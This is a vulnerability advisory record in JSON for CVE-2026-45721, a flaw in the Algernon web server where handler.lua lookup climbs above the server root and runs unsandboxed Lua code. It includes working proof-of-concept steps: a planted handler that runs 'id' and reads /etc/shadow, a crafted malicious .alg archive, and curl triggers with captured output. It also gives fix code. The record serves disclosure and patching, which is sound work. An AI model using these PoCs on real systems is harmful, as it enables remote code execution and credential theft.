{"id":"CVE-2026-45721","aliases":["GHSA-xwcr-wm99-g9jc","GO-2026-5772"],"url":"https://o3.security/vulnerability/CVE-2026-45721","summary":"Algernon: handler.lua discovery walks parent directories above the server root","details":"### Summary\n\nWhen Algernon is asked for any URL path that resolves to a directory *without* an index file, `DirPage` walks **upward through parent directories — past the configured server root** — looking for a file named `handler.lua` to execute as the request handler. The loop terminates only after 100 ancestor steps or when `filepath.Dir` returns `.`, so on any absolute server-root path the search reaches the filesystem root (`/` on Unix, drive letter on Windows). The first `handler.lua` it finds is loaded into the Lua interpreter with the full Algernon API exposed — including `run3()`, `httpclient`, `os.execute`, `io.popen`, `PQ`, `MSSQL`, raw filesystem access, and the userstate database. Any process that can write `handler.lua` anywhere in a parent directory of the server root obtains pre-authenticated remote code execution on the next HTTP request.\n\nThis is reachable without authentication — the lookup happens before the permission check returns a hit (the perm system only gates URL prefixes, not the handler-resolution step), and any URL pointing at a directory without an index triggers the walk. On a fresh stock Algernon install the request `GET /` is enough.\n\n### Details\n\n#### Root cause — unbounded upward search in `DirPage`\n\n```go\n// engine/dirhandler.go:170-183\n// Serve handler.lua, if found in parent directories\nvar ancestor string\nancestor = filepath.Dir(dirname)\nfor range 100 { // a maximum of 100 directories deep\n    filename = filepath.Join(ancestor, \"handler.lua\")\n    if ac.fs.Exists(filename) {\n        ac.FilePage(w, req, filename, luaDataFilename)\n        return\n    }\n    if ancestor == \".\" {\n        break\n    }\n    ancestor = filepath.Dir(ancestor)\n}\n```\n\n`dirname` is the absolute path of the requested directory on disk, e.g. `/srv/algernon/` when running with `--prod` (see [engine/config.go:207](../engine/config.go)). `filepath.Dir(\"/srv/algernon\")` is `/srv`, then `/`, and `filepath.Dir(\"/\")` returns `/` indefinitely. The break clause `if ancestor == \".\"` only fires for *relative* paths, so on every absolute server-root configuration the loop walks all the way to `/` and then spins on `/` for the remaining iterations until the `100` cap is hit. Each iteration calls `ac.fs.Exists(<ancestor>/handler.lua)`.\n\nFor the canonical `--prod` invocation the candidate set is:\n\n```\n/srv/handler.lua\n/handler.lua\n```\n\nFor `algernon /var/www/example.com`:\n\n```\n/var/www/handler.lua\n/var/handler.lua\n/handler.lua\n```\n\nFor `algernon ~/site` started by user `alice`:\n\n```\n/home/alice/handler.lua\n/home/handler.lua\n/handler.lua\n```\n\nThe first match wins. The match is then dispatched through `FilePage`, which for `.lua` files routes to `RunLua` (`engine/handlers.go:269`) and runs the file in a pooled `lua.LState` with the full Algernon function map attached (`engine/lua.go:30-112`). Every dangerous primitive in the engine is reachable: shell-out via `run3()` (`engine/basic.go:140-146`, calling `exec.Command(\"sh\", \"-c\", ...)`), arbitrary outbound HTTP via the `httpclient` module, the unsandboxed gopher-lua `os`/`io`/`debug` libraries, and the full permissions/userstate API.\n\n#### Why the request is reachable unauthenticated\n\nThe permission middleware in `RegisterHandlers` runs before `DirPage` but only rejects requests whose `req.URL.Path` matches an admin/user prefix:\n\n```go\n// engine/handlers.go:510-525\nallRequests := func(w http.ResponseWriter, req *http.Request) {\n    if ac.perm != nil {\n        if ac.perm.Rejected(w, req) {\n            sc := sheepcounter.New(w)\n            ac.perm.DenyFunction()(sc, req)\n            ac.LogAccess(req, http.StatusForbidden, sc.Counter())\n            return\n        }\n    }\n    ...\n```\n\n`Rejected` returns false for `/` because of `rootIsPublic && path == \"/\"` (`vendor/.../permissionbolt/v2/permissionbolt.go:118`). Anonymous `GET /` therefore reaches `DirPage`, hits the ancestor walk, and — if any `handler.lua` exists anywhere in the parent chain — executes it as the response handler for `/`. The same applies to every directory-style URL (`/foo/`, `/foo/bar/`, …) that does not contain one of the listed `index.*` files.\n\nThree exploit-amenable scenarios:\n\n1. **Multi-tenant / shared hosting.** Operators running multiple Algernon instances from sibling directories (`/srv/tenantA`, `/srv/tenantB`) share `/srv` as a common ancestor. A `handler.lua` placed by tenant B inside `/srv` becomes the catch-all handler for tenant A's requests, executing in tenant A's process with tenant A's database, redis, and filesystem permissions. The same pattern fires when a single OS user runs several `algernon` processes from `~/sites/<name>` — anything writable at `~/sites/` (or `~/`) escalates into every instance.\n\n2. **CI runners, container images, dev workstations.** A repository or container that contains *any* `handler.lua` at root, in `/srv`, in `/var`, or in `/home/<user>` — even one that pre-dates Algernon's installation, even one left over from a tutorial — becomes a remote-execution backdoor the moment Algernon starts. The current `samples/` tree contains six `handler.lua` files (`samples/handle/handler.lua`, `samples/htmx/handler.lua`, etc.); copying any of them up to a parent directory by mistake is fatal.\n\n3. **Attacker who already has unprivileged write to any parent directory** (low-privileged user, world-writable `/tmp` if `/tmp` is on the parent chain, an extracted `.zip`/`.alg` web application that drops a `handler.lua` at the extraction root in `/dev/shm` or `serverTempDir`, etc.) gains pre-authenticated RCE for every request the Algernon process answers. The `.alg` extraction case is especially direct: `FilePage` for `.alg` files calls `unzip.Extract(filename, webApplicationExtractionDir)` with `webApplicationExtractionDir = \"/dev/shm\"` or the server temp dir (`engine/handlers.go:249-266`); an `.alg` archive containing a top-level `handler.lua` writes it into the extraction directory, which is itself a parent of subsequent `DirPage` calls for that application.\n\n#### Source-level evidence\n\n```text\n$ rg -n 'handler\\.lua' engine/\nengine/dirhandler.go:170:    // Serve handler.lua, if found in parent directories\nengine/dirhandler.go:174:        filename = filepath.Join(ancestor, \"handler.lua\")\n\n$ rg -n 'run3|os\\.execute|exec\\.Command' engine/basic.go lua/run3/\nengine/basic.go:142:        command := L.ToString(1)\nengine/basic.go:144:        return run3.ShellHelper(L, command, workingDir)\nlua/run3/run3.go:23:    cmd := exec.Command(\"sh\", \"-c\", command)\n\n$ rg -n 'lua\\.NewState|skip(?:_)?open_libs|OpenLibs' lua/pool/ engine/\nlua/pool/pool.go:34:        L := lua.NewState()\n# No skip-libs flag is set — gopher-lua loads os, io, debug, package by default.\n```\n\nThe Lua state pool issues states with stock library loading (no `SkipOpenLibs` option in [lua/pool/pool.go](../lua/pool/pool.go)), so the `handler.lua` discovered above the root has `os.execute`, `io.popen`, `package.loadlib` (DLL loading), `debug.*`, plus every Algernon-bound function. This is documented behaviour for trusted scripts *inside* the served tree; the bug is that the discovery search reaches scripts the operator never opted in to.\n\n### PoC\n\n#### Variant A — confused-deputy via shared parent\n\n```bash\n# Operator runs Algernon serving a directory under /srv:\nsudo mkdir -p /srv/site && echo '<h1>hi</h1>' > /srv/site/index.html\nalgernon --prod /srv/site &     # binds :3000\n\n# Attacker (any account with write to /srv) drops handler.lua one level up:\ncat > /srv/handler.lua <<'EOF'\n-- Runs in the Algernon process; whoami leaks the process owner.\nlocal out, _, _ = run3(\"id; cat /etc/shadow 2>&1 | head -3\")\nprint(out)\nEOF\n\n# Trigger from anywhere on the network — any directory URL that lacks an\n# index.* file inside /srv/site fires the parent walk. The cleanest trigger\n# is to request a non-existent subdir:\ncurl -i http://server:3000/nope/\n# => Algernon executes /srv/handler.lua. Response body is the captured stdout\n#    of `id` and the first lines of /etc/shadow (if Algernon runs as root,\n#    or the targeted file is readable by its uid).\n```\n\n#### Variant B — `.alg` archive plants `handler.lua` in `/dev/shm`\n\n`FilePage` extracts `.alg` archives into `/dev/shm` (preferred) or `serverTempDir`. An `.alg` archive crafted with a top-level `handler.lua` lands the file into a path that is a parent of every directory served out of that extraction root.\n\n```bash\n# Craft a malicious .alg\nmkdir -p evil && cat > evil/handler.lua <<'EOF'\nlocal out, _, _ = run3(\"uname -a; whoami\")\nprint(out)\nEOF\n( cd evil && zip -r ../evil.alg . )\n\n# Once served — algernon evil.alg — any request that resolves to a directory\n# without an index inside the extraction root executes the attacker handler.\nalgernon evil.alg\ncurl -i http://localhost:3000/anything/   # walks up to /dev/shm/handler.lua\n```\n\n#### Variant C — `algernon /home/<user>/site` picks up `~/handler.lua`\n\nAny leftover `handler.lua` in the user's home directory (a tutorial fragment, a copy-paste, a file from another project) is sufficient. No attacker code is needed to reproduce: copy `samples/handle/handler.lua` into `~/` and serve any directory under `~/`. Every directory request will execute the home-directory handler.\n\n### Impact\n\n- **Confidentiality:** high — handler runs with the Algernon process's UID and reaches every database, redis instance, secret file, and cookie secret in memory.\n- **Integrity:** high — handler can write to any path the process can write, including `index.lua`/`handler.lua` files of the served tree, persisting the compromise.\n- **Availability:** high — handler can `os.exit`, hang the LState pool, or fork shell commands.\n- **Scope:** changed (CVSS S:C) — a write primitive against a parent directory (which the operator may consider out of scope of Algernon entirely) crosses into the Algernon process's full authority.\n\n**Affected population:** every Algernon deployment whose server-root path has any parent directory that is writable by a less-trusted principal — which includes (a) every `--prod` install on a host where any non-root user can write to `/srv` or `/`, (b) every multi-tenant deployment under a common parent, (c) every `algernon <path>` invocation where `~`, `~/Desktop`, `/tmp`, `/var/tmp`, or any other ancestor is writable by anyone other than the Algernon-process owner, (d) every server that serves `.alg` archives.\n\n### Suggestions to fix\n\n**Primary fix — clamp the walk to the server root.** `DirPage` already has access to `rootdir`; the loop must terminate once `ancestor` ceases to be a descendant of `rootdir`:\n\n```go\n// engine/dirhandler.go -- replace the walk in DirPage\nrootAbs, err := filepath.Abs(rootdir)\nif err != nil {\n    rootAbs = rootdir\n}\nancestor, err := filepath.Abs(dirname)\nif err != nil {\n    ancestor = dirname\n}\nfor {\n    // Stop before leaving the configured server root.\n    rel, err := filepath.Rel(rootAbs, ancestor)\n    if err != nil || rel == \"..\" || strings.HasPrefix(rel, \"..\"+string(filepath.Separator)) {\n        break\n    }\n    candidate := filepath.Join(ancestor, \"handler.lua\")\n    if ac.fs.Exists(candidate) {\n        ac.FilePage(w, req, candidate, luaDataFilename)\n        return\n    }\n    if ancestor == rootAbs {\n        break\n    }\n    parent := filepath.Dir(ancestor)\n    if parent == ancestor { // hit filesystem root without a match\n        break\n    }\n    ancestor = parent\n}\n```\n\nThe `100`-iteration cap and the `ancestor == \".\"` check were both attempts to bound the search; clamping to `rootdir` removes the underlying confused-deputy primitive instead. The same boundary check should be applied to the `index.*` lookup loop at `engine/dirhandler.go:162-168`, which is currently fine because `filepath.Join(dirname, indexfile)` cannot escape `dirname`, but is worth asserting explicitly so the invariant survives future refactors.\n\n**Defence in depth:**\n\n- Cache the resolved `handler.lua` path per server start and *log a warning* if the resolved file lives outside the server root. An operator who places `handler.lua` deliberately in a parent directory will see the warning and either move it or accept the risk explicitly.\n- For `.alg`/zip extraction, refuse archives containing a top-level `handler.lua` (or rename them on extract). The extraction directory is, by design, a parent of the served tree, so a top-level `handler.lua` in any uploaded `.alg` is the same primitive.\n- Document explicitly in `TUTORIAL.md` that `handler.lua` is searched in parent directories — current docs describe per-directory `handler.lua` but do not mention the upward walk. The hardening above removes the need for the warning, but the docs should track reality either way.\n- Consider stripping the unsandboxed Lua libraries (`os`, `io`, `package`, `debug`, `load`/`loadstring`, `run3`) when the discovered handler lives outside the configured server root, even if the walk is otherwise permitted. The audit trail is then \"Lua handler ran *somewhere* the operator didn't bless, but at least it couldn't shell out.\"\n\n### Live verification (2026-05-11, Algernon 1.17.6)\n\nReproduced against a fresh `go build` of `xyproto/algernon@main` on Windows 10.\n\n**Layout:**\n\n```\npoc1/\n  parent/\n    handler.lua          # ATTACKER-PLANTED, OUTSIDE the served root\n    site/                # the directory passed to algernon\n      subdir/            # empty subdirectory\n```\n\n`parent/handler.lua` contains:\n\n```lua\nprint(\"=== PWNED via parent handler.lua ===\")\nprint(\"Hostname info: \", os.getenv(\"COMPUTERNAME\") or os.getenv(\"HOSTNAME\") or \"n/a\")\nprint(\"Algernon PID would be readable here; this code runs in-process.\")\nprint(\"Request path was reached by walking past the served root.\")\n```\n\n**Run (no admin paths configured, default permissions, no auth):**\n\n```\n$ ./algernon.exe --nodb --httponly --server --addr 127.0.0.1:18765 --quiet poc1/parent/site\n```\n\n**Anonymous requests against `/` and `/subdir/`:**\n\n```\n$ curl -s -w \"HTTP %{http_code}\\n\" http://127.0.0.1:18765/\n=== PWNED via parent handler.lua ===\nHostname info:  DESKTOP-4RLE5YR\nAlgernon PID would be readable here; this code runs in-process.\nRequest path was reached by walking past the served root.\nHTTP 200\n\n$ curl -s -w \"HTTP %{http_code}\\n\" http://127.0.0.1:18765/subdir/\n=== PWNED via parent handler.lua ===\nHostname info:  DESKTOP-4RLE5YR\n...\nHTTP 200\n```\n\nThe handler that lives one directory **above** the configured server root (`poc1/parent/site/` was the path passed on the command line; `poc1/parent/handler.lua` is one level up and was *not* part of the served tree) executed in the Algernon process and its output became the HTTP 200 response body. The host's `COMPUTERNAME` environment variable was read via `os.getenv` and reflected back, proving the Lua state was unsandboxed (no `SkipOpenLibs`, no library stripping) — `os`, `io`, `package`, `debug` are all reachable from the discovered handler.\n\n**Both `/` and `/subdir/` reproduce.** `/` because the served root has no `index.*` files; `/subdir/` because its directory has no `index.*` files either. The walk fires in both cases and resolves to the same `handler.lua` above the root.\n\nNo authentication, no `--debug`, no special flag, no `serverconf.lua`. The vulnerable code path is the default flow for any directory-style request that does not find a colocated `index.*`.","published":"2026-05-26T16:34:49.985Z","modified":"2026-08-12T03:51:12.618690003Z","cvss":{"score":9,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H"},"epss":{"score":0.00437,"percentile":0.36412,"asOf":"2026-08-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/xyproto/algernon","fixedVersion":"1.17.7"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45721.json"},{"type":"ADVISORY","url":"https://github.com/xyproto/algernon/security/advisories/GHSA-xwcr-wm99-g9jc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45721"},{"type":"PACKAGE","url":"https://github.com/xyproto/algernon"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:12.618690003Z"}}